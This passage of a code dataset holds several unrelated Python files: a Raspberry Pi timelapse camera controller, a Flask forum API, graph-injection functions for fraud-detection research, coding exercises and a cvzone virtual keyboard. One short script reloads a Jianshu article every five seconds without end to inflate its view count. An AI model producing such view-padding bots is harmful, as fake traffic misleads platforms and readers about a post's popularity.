2 + rotc * 1\n\tdelta = (encoded - lastencoded)\n\tif(delta == 1):\n\t\tencoderVal = encoderVal + dec\n\telif(delta == 3):\n\t\tencoderVal = encoderVal - dec\n\n\tlastencoded = encoded\n\ndef button(c):\n\tglobal FPH,H,stage,encoderVal,setup, totalFrames\n\tif(stage == 1):\n\t\tFPH = encoderVal\n\t\tstage = stage + 1\n\t\tencoderVal = 0\n\telif(stage == 2):\n\t\tH = encoderVal\n\t\tstage = stage + 1\n\t\tencoderVal = 0\n\telif(stage == 3):\n\t\top = encoderVal % 2\n\t\tif(op == 0):\n\t\t\ttotalFrames = FPH * H\n\t\t\tprint(\"FPH: {}, H: {}, TF: {}\".format(FPH,H,totalFrames))\n\t\t\tsetup = False\n\t\t\tstage = 0\n\t\t\tencoderVal = 0\n\t\telse:\n\t\t\tstage = 1\n\t\t\tencoderVal = 0\n\ndef getStringPercent(f,t):\n\tres = \" [ ] \"\n\tp = ((f/t) * 12)\n\twhile p > 0:\n\t\tres[1+p] = \"=\"\n\treturn res\n\ndef compile():\n\tlcd.message(\"Comliling video\")\n\tsub.call(\"ls -v *.png > stills.txt\")\n\ttry:\n\t\tsub.call(\"mencoder -nosound -ovc lavc -lavcopts vcodec=mpeg4:aspect=16/9:vbitrate=8000000 -vf scale=1920:1080 -o timelapse.avi -mf type=jpeg:fps=24 mf://@stills.txt\")\n\texcept:\n\t\tlcd.message(\"Failed to \\ncompile video\")\n\t\treturn\n\tlcd.messgae(\"Video compiled:\\nSucessfully\")\n\n\ndef draw():\n\tglobal encoderVal,encoderA,encoderB, stage, FPH, H, setup,delay,currentFrame,totalFrames\n\tsub.call(\"rm Pic*.png\",shell=True)\n\tGPIO.add_event_detect(encoderA,GPIO.BOTH,callback=updateEncoder)\n\tGPIO.add_event_detect(encoderB,GPIO.BOTH,callback=updateEncoder)\n\tGPIO.add_event_detect(encoderButton,GPIO.FALLING,callback=button,bouncetime=300)\n\ttry:\n\t\twhile True:\n\t\t\twipe()\n\t\t\tif setup:\n\t\t\t\tif stage == 1:#FPH setup\n\t\t\t\t\tFPH = encoderVal\n\t\t\t\t\tlcd.message(\"FPH: {}\".format(FPH))\n\t\t\t\n\t\t\t\telif stage == 2:#Hours setup\n\t\t\t\t\tH = encoderVal\n\t\t\t\t\tlcd.message(\"Hours: {}\\nFPH: {}\".format(H,FPH))\n\t\t\t\telif stage == 3:#Confirmation\n\t\t\t\t\tsec = encoderVal % 2\n\t\t\t\t\tif sec == 0:\n\t\t\t\t\t\tlcd.message(\"Are you sure?\\n [Yes] No \")\n\t\t\t\t\telse:\n\t\t\t\t\t\tlcd.message(\"Are you sure?\\n Yes [No]\")\n\t\t\telse:\n\t\t\t\t## 24(Pi) = 75mm\n\t\t\t\t## 75mm = 7.5cm\n\t\t\t\t## 7.5cm = motorRight(60)\n\t\t\t\t## 1cm = motorRight(60/7.5)\n\t\t\t\t## (60/7.5)/ totalFrames \n\t\t\t\t## Time delay = 60/FPH\n\t\t\t\tframesLeft = \"Pics left: {}\".format(totalFrames - currentFrame)\n\t\t\t\tlcd.message(framesLeft)#+ \"\\n\"+getStringPercent(currentFrame,totalFrames))\n\t\t\t\tstart = t.time()\n\t\t\t\tcf = \"-o Pic{}.png\".format(currentFrame)\n\t\t\t\tsub.call(\"raspistill -hf \" + cf,shell=True)\n\t\t\t\td = (75/2) / totalFrames\n\t\t\t\trevolveMotorLeft(d)\n\t\t\t\tt.sleep((60 * 60)/FPH - ((t.time() - start)))\n\t\t\t\tcurrentFrame = currentFrame + 1\n\t\t\t\tif currentFrame > totalFrames:\n\t\t\t\t\tbreak\n\t\n\t\t\tt.sleep(delay)\n\t\tcompile()\n\tfinally:\n\t\tGPIO.cleanup()\n\n\ninit()\n","repo_name":"h2n0/EngWork","sub_path":"cam.py","file_name":"cam.py","file_ext":"py","file_size_in_byte":3953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10544165511","text":"import numpy as np \n\n# radius of the circle\ncircle_r = 20\n# center of the circle (x, y)\nbox = np.random.random((4,2)) * 50\ncenter = (box[0] + box[3]) / 2\n# center = np.array([20,10])\n\n# random angle\nalpha = 2 * np.pi * np.random.random((20,1))\n# random radius\nr = circle_r * np.sqrt(np.random.random())\n# calculating coordinates\nx = r * np.cos(alpha) + center[0]\ny = r * np.sin(alpha) + center[1]\nx[0] = center[0]\ny[0] = center[1]\ns = np.hstack((x, y), dtype=np.int16).astype(np.int32).tolist()\nl = 1","repo_name":"paul-shuvo/human-intent","sub_path":"src/arm_pose/src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14025684653","text":"import json\nquestions = {\n \"Транспорт\":{\n \"100\":{\"question\":\"plane\", \"answer\":\"самолет\", \"asked\":False},\n \"200\":{\"question\":\"train\", \"answer\":\"поезд\", \"asked\":False},\n \"300\":{\"question\":\"boarding\", \"answer\":\"посадка\", \"asked\":False}},\n \"Животные\":{\n \"100\":{\"question\":\"dog\", \"answer\":\"собака\", \"asked\":False},\n \"200\":{\"question\":\"shark\", \"answer\":\"акула\", \"asked\":False},\n \"300\":{\"question\":\"sparrow\", \"answer\":\"воробей\", \"asked\":False},\n \"400\":{\"question\":\"sparrow\", \"answer\":\"воробей\", \"asked\":False}},\n \"Фрукты\":{\n \"100\":{\"question\":\"aplle\", \"answer\":\"яблоко\", \"asked\":False},\n \"200\":{\"question\":\"berry\", \"answer\":\"ягода\", \"asked\":False},\n \"300\":{\"question\":\"vension\", \"answer\":\"оленина\", \"asked\":False},\n }\n }\nwith open('data.json', 'r') as file:\n data_json = f.read()\n\nquestions = json.loads(data_json)\nprint(profile)\n","repo_name":"aleksst85/les7","sub_path":"quest_lst.py","file_name":"quest_lst.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18853645539","text":"import sqlite3\nfrom datetime import datetime\nimport flask\nfrom flask import jsonify, request, session, url_for, redirect, make_response, \\\n render_template, abort, g, flash, _app_ctx_stack\nfrom flask import Response\nfrom flask_restful import reqparse\nfrom werkzeug.security import check_password_hash, generate_password_hash\nfrom flask_basicauth import BasicAuth\n\n\napp = flask.Flask('discussion_forum')\napp.config.from_object(__name__)\napp.config.from_envvar('DISCUSSIONFORUMAPI_SETTINGS', silent=True)\napp.config[\"DEBUG\"] = True\n\nDATABASE = '/tmp/DiscussionForum.db'\nPER_PAGE = 30\nSECRET_KEY = b'_3myapplication'\n\n\nclass DiscussionForumBasicAuth(BasicAuth):\n def __init__(self, app=None):\n if app is not None:\n self.app = app\n self.init_app(app)\n else:\n self.app = None\n\n def check_credentials(self, username, password):\n if username != None and password != None:\n user = fetch_user(username)\n if user != None:\n if user[1] == username and check_password_hash(user[2], password):\n return 'true'\n else:\n return None\n else:\n return None\n else:\n return None\n\nbasic_auth = DiscussionForumBasicAuth(app)\n\ndef fetch_user(username):\n user = query_db('SELECT * FROM user WHERE username = ?',[username], one=True)\n return user\n\n\n# create database connection\ndef get_db():\n db = getattr(g, '_database', None)\n if db is None:\n db = g._database = sqlite3.connect(DATABASE)\n return db\n\n\n# close connection when not in use\n@app.teardown_appcontext\ndef close_connection(exception):\n db = getattr(g, '_database', None)\n if db is not None:\n db.close()\n\n\n# create initial schema's\ndef create_schema():\n with app.app_context():\n db = get_db()\n with app.open_resource('createSchema.sql', mode='r') as f:\n db.cursor().executescript(f.read())\n db.commit()\n\n\n@app.cli.command('createschema')\ndef create_schema_command():\n \"\"\"Initializes the database. and create schema\"\"\"\n create_schema()\n print('Database Schema Created')\n\n\n# Insert dummy data into database\ndef insert_data():\n with app.app_context():\n db = get_db()\n with app.open_resource('insertData.sql', mode='r') as f:\n db.cursor().executescript(f.read())\n db.commit()\n\n\n@app.cli.command('insertdata')\ndef insert_data_command():\n \"\"\"Insert dummy data to database\"\"\"\n insert_data()\n print('Dummy data inserted to database')\n\n# Initial operations completed ###\n\n\n# A factory class\ndef dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n\n\n# common query function\ndef query_db(query, args=(), one=False):\n cur = get_db().execute(query, args)\n rv = cur.fetchall()\n cur.close()\n return (rv[0] if rv else None) if one else rv\n\n# Find user_id using username\ndef get_user_name(username):\n rv = query_db('SELECT username FROM user WHERE username = ?',\n [username], one=True)\n return rv[0] if rv else None\n\n\n# Return user_id using the user_id\ndef get_user_id(_id):\n rv = query_db('SELECT user_id FROM user WHERE user_id = ?',\n [_id], one=True)\n return rv[0] if rv else None\n\n# User registration\n@app.route('/users', methods=['POST'])\ndef register_user():\n parser = reqparse.RequestParser()\n parser.add_argument('username',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n parser.add_argument('password',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n data = parser.parse_args()\n\n if get_user_name(data['username']):\n return jsonify({\"message\":\"user with that name already exists\"}), 409\n\n connection = get_db()\n cursor = connection.cursor()\n query = \"INSERT INTO user VALUES (NULL,?,?)\"\n cursor.execute(query, (data['username'], generate_password_hash(data['password'])))\n connection.commit()\n connection.close()\n resp = Response(status=201, mimetype='application/json')\n return resp\n\n\n# Update User Info\n@app.route('/users/<username>', methods=['PUT'])\n@basic_auth.required\ndef update_user(username):\n parser = reqparse.RequestParser()\n parser.add_argument('username',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n parser.add_argument('password',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n data = parser.parse_args()\n if get_user_name(username) is None:\n return jsonify({\"message\": \"user with that name not found\"}), 404\n\n if request.authorization.username != username:\n return jsonify({\"message\": \"not authenticated user\"}), 409\n\n connection = get_db()\n cursor = connection.cursor()\n\n query = \"update user set password = ? where username = ?\"\n cursor.execute(query, (generate_password_hash(data['password']), username))\n\n connection.commit()\n connection.close()\n\n return jsonify({\"message\": \"user updated successfully\"}), 200\n\n\n####### Forum API's #######\n\n# Find forumname based on name\ndef get_forum_name(name):\n rv = query_db('SELECT name FROM forum WHERE name = ?',\n [name], one=True)\n return rv[0] if rv else None\n\n\n# Find forum id\ndef get_forum_id():\n rv = query_db('SELECT forum_id FROM forum ORDER BY forum_id DESC',\n one=True)\n return rv[0] if rv else None\n\n# Find user id\ndef get_user_id(username):\n rv = query_db('SELECT user_id FROM user where username = ?',[username],one=True)\n return rv[0] if rv else None\n\n# Find user_id using username\ndef get_forum_user_id(username):\n rv = query_db('SELECT user_id FROM user WHERE username = ?',\n [username], one=True)\n return rv[0] if rv else None\n\n\n# GET Operation on forums\n@app.route('/forums', methods=['GET'])\ndef get_forum():\n\n forums = query_db('''\n SELECT f.forum_id as id, f.name as name, u.username as creator \n FROM forum f, user u \n where f.user_id = u.user_id limit ?''', [PER_PAGE])\n\n forumdic = []\n if forums:\n for forum in forums:\n forumdic.append({\"id\":forum[0], \"name\":forum[1], \"creator\":forum[2]})\n return jsonify({'Forums': forumdic}), 200\n return {}\n\n\n# POST Operation on forums\n@app.route('/forums', methods=['POST'])\n@basic_auth.required\ndef post_forums():\n parser = reqparse.RequestParser()\n parser.add_argument('name',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n data = parser.parse_args()\n connection = get_db()\n cursor = connection.cursor()\n user_id = get_user_id(request.authorization.username)\n if user_id is not None:\n if get_forum_name(data['name']):\n return jsonify({\"message\": \"forum with that name already exists\"}), 409\n query = \"INSERT INTO forum VALUES (NULL,?,?)\"\n cursor.execute(query, (data['name'], user_id))\n else:\n resp = Response(status=404, mimetype='application/json')\n connection.commit()\n return resp\n connection.commit()\n\n respObj = Response(status=201, mimetype='application/json')\n\n forum_id = get_forum_id()\n if forum_id:\n respObj.headers['Location'] = 'http://127.0.0.1:5000/forums/'+str(forum_id)\n connection.close()\n return respObj\n\n\n###### Thread API's ######\n\n# Get forum_id for thread\ndef get_thread_forum_id(forumid):\n rv = query_db('SELECT forum_id FROM forum WHERE forum_id = ?',\n [forumid], one=True)\n return rv[0] if rv else None\n\n\n# Get thread Id\ndef get_thread_id():\n rv = query_db('SELECT thread_id FROM thread ORDER BY thread_id DESC',\n one=True)\n return rv[0] if rv else None\n\n\n# Find user_id using the username\ndef get_logged_in_user_id(username):\n if username is None:\n return None\n rv = query_db('SELECT user_id FROM user WHERE username = ?',\n [username], one=True)\n return rv[0] if rv else None\n\n\n# GET Operation on Thread\n@app.route('/forums/<forum_id>', methods=['GET'])\ndef get_threads(forum_id):\n threads = query_db('''select t.thread_id as id,t.title as title, \n (select p.timestamp from post p, thread t \n WHERE t.thread_id = p.thread_id \n and t.forum_id = ? order by p.post_id desc) as timestamp, \n (select u.username from post p, thread t, user u \n WHERE t.thread_id = p.thread_id and t.forum_id = ? \n and p.user_id = u.user_id order by p.post_id asc) as creator, t.title \n from thread t ''', [forum_id, forum_id])\n\n threadlist = []\n if threads:\n for thread in threads:\n threadlist.append({\"id\": thread[0], \"title\": thread[1], \"creator\": thread[3], \"timestamp\": thread[2]})\n return jsonify({'Threads': threadlist}), 200\n return {}, 404\n\n\n# POST Operation in Thread\n@app.route('/forums/<forum_id>', methods=['POST'])\n@basic_auth.required\ndef post_threads(forum_id):\n\n # parser to parse the payload\n parser = reqparse.RequestParser()\n parser.add_argument('title',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n parser.add_argument('text',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n\n data = parser.parse_args()\n\n if get_thread_forum_id(forum_id) is None:\n return jsonify({\"message\":\"forum does not exist\"}), 404\n\n connection = get_db()\n cursor = connection.cursor()\n\n query = \"INSERT INTO thread VALUES (NULL,?,?)\"\n cursor.execute(query, (forum_id, data['title']))\n connection.commit()\n\n thread_id = get_thread_id()\n user_id = get_user_id(request.authorization.username)\n if thread_id and user_id:\n query = \"INSERT INTO post VALUES (NULL,?,?,?,?)\"\n cursor.execute(query, (thread_id, user_id, data['text'], datetime.now()))\n connection.commit()\n\n resp = Response(status=201, mimetype='application/json')\n resp.headers['Location'] = 'http://127.0.0.1:5000/forums/' + str(forum_id) +'/'+str(thread_id)\n\n connection.close()\n return resp\n\n\n##### POST API's ######\n# Get thread Id using forum Id\ndef get_post_thread_id(forum_id, thread_id):\n rv = query_db('SELECT thread_id FROM thread WHERE thread_id = ? and forum_id = ?',\n [forum_id, thread_id], one=True)\n return rv[0] if rv else None\n# Find user_id using the username\ndef get_logged_in_user_id(username):\n rv = query_db('SELECT user_id FROM user WHERE username = ?',\n [username], one=True)\n return rv[0] if rv else None\n\n\n# GET operations for POST'S\n@app.route('/forums/<forum_id>/<thread_id>', methods=['GET'])\ndef get_posts(forum_id=None, thread_id=None):\n print('inside method')\n # if get_post_thread_id(forum_id, thread_id) is None:\n # return jsonify({\"message\":\"forum / thread does not exist\"}), 404\n\n posts = query_db('''\n SELECT u.username as author, p.text, p.timestamp \n FROM post p, thread t, user u \n where t.thread_id = p.thread_id \n and t.thread_id = ? and t.forum_id = ? \n and u.user_id = p.user_id \n order by timestamp desc''', [thread_id, forum_id])\n\n postlist = []\n if posts:\n for post in posts:\n postlist.append({\"author\": post[0], \"text\": post[1], \"timestamp\": post[2]})\n return jsonify({'Posts': postlist}), 200\n return {}, 404\n\n# POST operations for POST'S\n@app.route('/forums/<forum_id>/<thread_id>', methods=['POST'])\n@basic_auth.required\ndef post_posts(forum_id, thread_id):\n parser = reqparse.RequestParser()\n parser.add_argument('text',\n type=str,\n required=True,\n help=\"This field cannot be blank.\")\n data = parser.parse_args()\n thread_id=get_post_thread_id(forum_id, thread_id)\n print(thread_id);\n if get_post_thread_id(forum_id, thread_id) is None:\n return jsonify({\"message\": \"forum / thread does not exist\"}), 404\n connection = get_db()\n cursor = connection.cursor()\n user_id = get_user_id(request.authorization.username)\n query = \"INSERT INTO post VALUES (NULL,?,?,?,?)\"\n cursor.execute(query, (thread_id, user_id, data['text'], datetime.now()))\n connection.commit()\n resp = Response(status=201, mimetype='application/json')\n connection.close()\n return resp\napp.run()\n","repo_name":"raninagare/DiscussionForum","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13230,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"29590893522","text":"#!/usr/bin/env python3\n# -*- coding=utf-8 -*-\n\n# Project: dspus\n# injections.py\n# Created by @wenchieh on <1/12/2020>\n\n__author__ = 'wenchieh'\n\n# sys\nfrom random import sample\n\n# third-part libs\nimport numpy as np\nfrom scipy import linalg\nfrom scipy.sparse import *\n\n\n# parameters in injection -\n# spike(M, N, Dspike, C),\n# gap(M, N, D0, Dgap, C)\ndef injectSpike(Nall, M, N, Dspike, C):\n Nstart, i = Nall, Nall\n injectEs = list()\n injectUs, injectVs = range(Nall, Nall + M, 1), range(Nall, Nall + N, 1)\n for m in range(M):\n # standard normal distribution\n v1, v2, w = 0.0, 0.0, 2.0\n while w > 1.0:\n v1 = random.random() * 2.0 - 1.0\n v2 = random.random() * 2.0 - 1.0\n w = v1 * v1 + v2 * v2\n outd = int(Dspike + v1 * np.sqrt(-2.0 * np.log(w) / w))\n if outd < 0: outd = Dspike\n outdC = int(outd * C)\n outdN = outd - outdC\n Ns, Cs = set(), set()\n for d in range(outdN):\n Ns.add(Nstart + M + random.randint(N))\n for d in range(outdC):\n Cs.add(random.randint(Nall))\n\n for j in Ns:\n injectEs.append([i, j])\n for j in Cs:\n injectEs.append([i, j])\n i += 1\n return len(injectEs), injectEs, injectUs, injectVs\n\ndef injectGap(Nall, M, N, D0, Dgap, C):\n injectEs = list()\n injectUs, injectVs = range(Nall, Nall + M, 1), range(Nall, Nall + N, 1)\n Nstart, i = Nall, Nall\n Md = int(1.0 * M / (Dgap - D0 + 1))\n for outd in range(D0, Dgap, 1):\n for m in range(Md):\n outdC = int(outd * C)\n outdN = outd - outdC\n Ns, Cs = set(), set()\n for d in range(outdN):\n Ns.add(Nstart + M + random.randint(N))\n for d in range(outdC):\n Cs.add(random.randint(Nall))\n for j in Ns:\n injectEs.append([i, j])\n for j in Cs:\n injectEs.append([i, j])\n i += 1\n\n return len(injectEs), injectEs, injectUs, injectVs\n\n\ndef genEvenDenseBlock(A, B, p):\n m = []\n for i in range(A):\n a = np.random.binomial(1, p, B)\n m.append(a)\n return np.array(m)\n\ndef genHyperbolaDenseBlock(A, B, alpha, tau):\n 'this is from hyperbolic paper: i^\\alpha * j^\\alpha > \\tau'\n m = np.empty([A, B], dtype=int)\n for i in range(A):\n for j in range(B):\n if (i+1)**alpha * (j+1)**alpha > tau:\n m[i,j] = 1\n else:\n m[i,j] = 0\n return m\n\ndef genDiHyperRectBlocks(A1, B1, A2, B2, alpha=-0.5, tau=None, p=1):\n if tau is None:\n tau = A1**alpha * B1**alpha\n m1 = genEvenDenseBlock(A1, B1, p=p)\n m2 = genHyperbolaDenseBlock(A2, B2, alpha, tau)\n M = linalg.block_diag(m1, m2)\n return M\n\ndef addnosie(M, A, B, p, black=True, A0=0, B0=0):\n v = 1 if black else 0\n for i in range(A-A0):\n a = np.random.binomial(1, p, B-B0)\n for j in a.nonzero()[0]:\n M[A0+i,B0+j]=v\n return M\n\n\n# inject a clique of size m0 by n0 with density p.\n# the last parameter `testIdx` determines the camouflage type.\n# testIdx = 1: random camouflage, with camouflage density set so each fraudster outputs approximately equal number of fraudulent and camouflage edges\n# testIdx = 2: random camouflage, with double the density as in the precious setting\n# testIdx = 3: biased camouflage, more likely to add camouflage to high degree column\n#\n# def injectCliqueCamo(M, m0, n0, p, testIdx):\n# (m,n) = M.shape\n# M2 = M.copy().tolil()\n#\n# colSum = np.squeeze(M2.sum(axis = 0).A)\n# colSumPart = colSum[n0:n]\n# colSumPartPro = np.int_(colSumPart)\n# colIdx = np.arange(n0, n, 1)\n# population = np.repeat(colIdx, colSumPartPro, axis = 0)\n#\n# for i in range(m0):\n# # inject clique\n# for j in range(n0):\n# if random.random() < p:\n# M2[i,j] = 1\n# # inject camo\n# if testIdx == 1:\n# thres = p * n0 / (n - n0)\n# for j in range(n0, n):\n# if random.random() < thres:\n# M2[i,j] = 1\n# if testIdx == 2:\n# thres = 2 * p * n0 / (n - n0)\n# for j in range(n0, n):\n# if random.random() < thres:\n# M2[i,j] = 1\n# # biased camo\n# if testIdx == 3:\n# colRplmt = random.sample(population, int(n0 * p))\n# M2[i,colRplmt] = 1\n#\n# return M2.tocsc()\n\n# inject a clique of size m0 by n0 with density p.\n# the last parameter `testIdx` determines the camouflage type.\n# testIdx = 1: random camouflage, with camouflage density set so each fraudster outputs approximately equal number of fraudulent and camouflage edges\n# testIdx = 2: random camouflage, with double the density as in the precious setting\n# testIdx = 3: biased camouflage, more likely to add camouflage to high degree column\ndef injectCliqueCamo(M, m0, n0, p, testIdx):\n (m, n) = M.shape\n injectEs = list()\n injectUs, injectVs = np.arange(m0), np.arange(n0)\n\n if testIdx in [3, 4]: # popular biased camouflage\n colSum = np.squeeze(M.sum(axis = 0).A)\n colSumPart = colSum[n0:n]\n colSumPartPro = np.int_(colSumPart)\n colIdx = np.arange(n0, n, 1)\n population = np.repeat(colIdx, colSumPartPro, axis = 0)\n\n for i in range(m0):\n # inject clique\n for j in range(n0):\n if np.random.random() < p:\n injectEs.append([i,j])\n\n if testIdx == 0:\n continue\n # inject random camo\n if testIdx == 1:\n thres = p * n0 / (n - n0)\n for j in range(n0, n):\n if np.random.random() < thres:\n injectEs.append([i,j])\n if testIdx == 2:\n thres = 2 * p * n0 / (n - n0)\n for j in range(n0, n):\n if np.random.random() < thres:\n injectEs.append([i,j])\n # biased camo\n if testIdx == 3:\n colRplmt = sample(population, int(n0 * p))\n for j in colRplmt:\n injectEs.append([i,j])\n if testIdx == 4:\n colRplmt = sample(population, int(2* n0 * p))\n for j in colRplmt:\n injectEs.append([i,j])\n\n return len(injectEs), injectEs, injectUs, injectVs\n\n\n# inject appended m0 by n0 camouflages to background graph M (cpy & paste patterns)\n# add new nodes and edges\ndef injectAppendCPsCamo(M, m0, n0, p, camos):\n (m, n) = M.shape\n injectEs = list()\n injectUs, injectVs = np.arange(m0) + m, np.arange(n0) + n\n\n col_sum = np.squeeze(M.sum(axis = 0).A)\n col_sumpro = np.int_(col_sum)\n col_idx = np.arange(n)\n pops = np.repeat(col_idx, col_sumpro, axis = 0)\n\n # inject dependent block\n for i in injectUs:\n for j in injectVs:\n pe = random.random()\n if pe < p: injectEs.append([i, j])\n\n if camos == 0: pass # no camo\n if camos == 1:\n # random camo\n thres = p * n0 / (n - n0)\n for j in range(n):\n pe = random.random()\n if pe < thres: injectEs.append([i, j])\n if camos == 2:\n # popular biased camo\n col_pops = random.sample(pops, int(n0 * p))\n for j in col_pops: injectEs.append([i, j])\n\n return len(injectEs), injectEs, injectUs, injectVs\n\n# pick nodes in original graph and add new edges\ndef injectPromotCamo(M, ms, ns, p, camos):\n (m, n) = M.shape\n M2 = M.copy()\n m0, n0 = len(ms), len(ns)\n\n injectEs = list()\n injectUs, injectVs = np.asarray(ms, dtype=int), np.asarray(ns, dtype=int)\n\n if camos in [3, 4, 5]:\n col_sum = np.squeeze(M2.sum(axis = 0).A)\n col_idx = np.setdiff1d(np.arange(n, dtype=int), injectVs)\n col_sumpart = col_sum[col_idx]\n pops = np.repeat(col_idx, np.int_(col_sumpart), axis = 0)\n\n for i in injectUs:\n # inject clique\n for j in injectVs:\n if random.random() < p and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n\n if camos == 0:\n continue\n if camos == 1:\n # random camo\n thres = p * n0 / (n - n0)\n for j in range(n):\n pe = random.random()\n if pe < thres and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n if camos == 2:\n # random camo\n thres = 2 * p * n0 / (n - n0)\n for j in range(n):\n pe = random.random()\n if pe < thres and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n if camos in [3, 4, 5]:\n # popular biased camo\n n0p = 0\n if camos == 4: n0p = 0.5 * n0 *p\n elif camos == 3: n0p = n0 * p\n elif camos == 5: n0p = 2 * n0 * p\n\n col_pops = random.sample(pops, int(n0p))\n for j in col_pops:\n if M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n\n return M2, injectEs, injectUs, injectVs\n\ndef injectFraudConstObjs(M, ms, ns, p, testIdx):\n M2 = M.copy()\n\n injectEs = list()\n injectUs = np.asarray(ms, dtype=int)\n injectVs = np.asarray(ns, dtype=int)\n\n if testIdx == 0:\n M2[ms, :][:, ns] = 0\n nmps = int(p * len(ms))\n for j in injectVs:\n for i in random.sample(injectUs, nmps):\n if M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n elif testIdx == 1:\n for i in injectUs:\n for j in injectVs:\n if random.random() < p and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n\n return M2, injectEs, injectUs, injectVs\n\ndef injectedCamos(M, ms, ns, p, camos):\n (m, n) = M.shape\n M1 = M.copy()\n m0, n0 = len(ms), len(ns)\n\n otherns = np.setdiff1d(np.arange(n, dtype=int), ns)\n\n for i in ms:\n if camos == 1: # random camo\n thres = p * n0 / (n - n0)\n for j in otherns:\n if random.random() < thres:\n M1[i, j] = 1\n if camos in [3, 4, 5]: # biased camo\n col_sum = np.squeeze(M.sum(axis = 0).A)\n col_sumpart = col_sum[otherns]\n pops = np.repeat(otherns, np.int_(col_sumpart), axis = 0)\n\n n0p = n0 * p\n if camos == 3: n0p *= 0.25\n if camos == 4: n0p *= 0.5\n col_pops = random.sample(pops, int(n0p))\n for j in col_pops:\n M1[i, j] = 1\n return M1\n\ndef injectJellyAttack(M, ms, ns, pns, p1, p2):\n (m, n) = M.shape\n M2 = M.copy()\n m0, n0, n1 = len(ms), len(ns), len(pns)\n\n injectEs = list()\n # col_idx = pns\n # col_sum = np.squeeze(M2[:, pns].sum(axis = 0).A)\n # pops = np.repeat(col_idx, np.int_(col_sum), axis = 0)\n\n for i in ms:\n for j in ns:\n if random.random() < p1 and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n\n for j in pns:\n if random.random() < p2 and M2[i, j] == 0:\n M2[i, j] = 1\n injectEs.append([i, j])\n\n return M2, injectEs, ms, ns\n","repo_name":"wenchieh/specgreedy","sub_path":"src/injections.py","file_name":"injections.py","file_ext":"py","file_size_in_byte":11338,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"20866534786","text":"# -*- coding:utf-8 -*-\nimport init_env\nimport time\nfrom splinter import Browser\n\n\nclass Blog:\n def __init__(self, browser=None):\n self.browser = browser\n self.view()\n\n def view(self):\n \"\"\"刷帖子\n \"\"\"\n browser = self.browser\n # 打开帖子\n browser.visit('https://www.jianshu.com/p/e91ee83f2348')\n time.sleep(1)\n\n # 刷新\n while True:\n browser.reload()\n time.sleep(5)\n\nif __name__ == \"__main__\":\n browser = Browser(\"chrome\")\n Blog(browser)\n","repo_name":"DoubleDD/python_test","sub_path":"splinter/jianshu/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"20737089392","text":"'''\nWrite a function called sumZero which accepts a sorted array of integers. \nThe function should find the first pair where the sum is 0. Return an array that \nincludes both values that sum to zero or undefined if a pair does not exist\n'''\narr1 = [-1,2,3,-3,4,5]\narr2 = [-2,0,1,3]\n\n\ndef sumZero(arr):\n arr.sort()\n pointer1 = 0\n pointer2 = len(arr) - 1\n while pointer1 < pointer2:\n if arr[pointer1] + arr[pointer2] == 0:\n return [arr[pointer1], arr[pointer2]]\n elif arr[pointer1] + arr[pointer2] > 0:\n pointer2 -= 1\n else:\n pointer1 += 1\n return None\n\nprint(sumZero(arr1))\nprint(sumZero(arr2))","repo_name":"irisjitomo/HackerRankStudy","sub_path":"Section3-Redux-ProblemSolvingPatterns/Lesson3-MultiplePatterns/sumZero.py","file_name":"sumZero.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15921093526","text":"#pip install cvzone==1.4.1\r\n#pip install opencv-python\r\n#pip install pynput\r\n\r\nimport cv2\r\nfrom cvzone.HandTrackingModule import HandDetector\r\nimport cvzone\r\nfrom time import sleep\r\nfrom pynput.keyboard import Controller\r\n\r\nkeyboard = Controller()\r\n\r\ndetector = HandDetector(detectionCon=0.8)\r\n\r\ncap = cv2.VideoCapture(0)\r\ncap.set(3, 2120)\r\ncap.set(4, 1080)\r\n\r\n\r\ndef drawAll(img, buttonList):\r\n for button in buttonList:\r\n x, y = button.pos\r\n w, h = button.size\r\n cvzone.cornerRect(img, (button.pos[0], button.pos[1], button.size[0], button.size[1]), 20, rt=0)\r\n cv2.rectangle(img, button.pos, (x + w, y + h), (0, 255, 105), cv2.FILLED)\r\n cv2.putText(img, button.text, (x + 20, y + 65),\r\n cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\r\n return img\r\n\r\n\r\nclass Button():\r\n def __init__(self, pos, text, size=[85, 85]):\r\n self.pos = pos\r\n self.size = size\r\n self.text = text\r\n\r\nkeys = [[\"Q\", \"W\", \"E\", \"R\", \"T\", \"Y\", \"U\", \"I\", \"O\", \"P\"],\r\n [\"A\", \"S\", \"D\", \"F\", \"G\", \"H\", \"J\", \"K\", \"L\", \";\"],\r\n [\"Z\", \"X\", \"C\", \"V\", \"B\", \"N\", \"M\", \",\", \".\", \"\\t\"]]\r\n\r\n\r\nbuttonList = []\r\nfor i in range(len(keys)):\r\n for j, key in 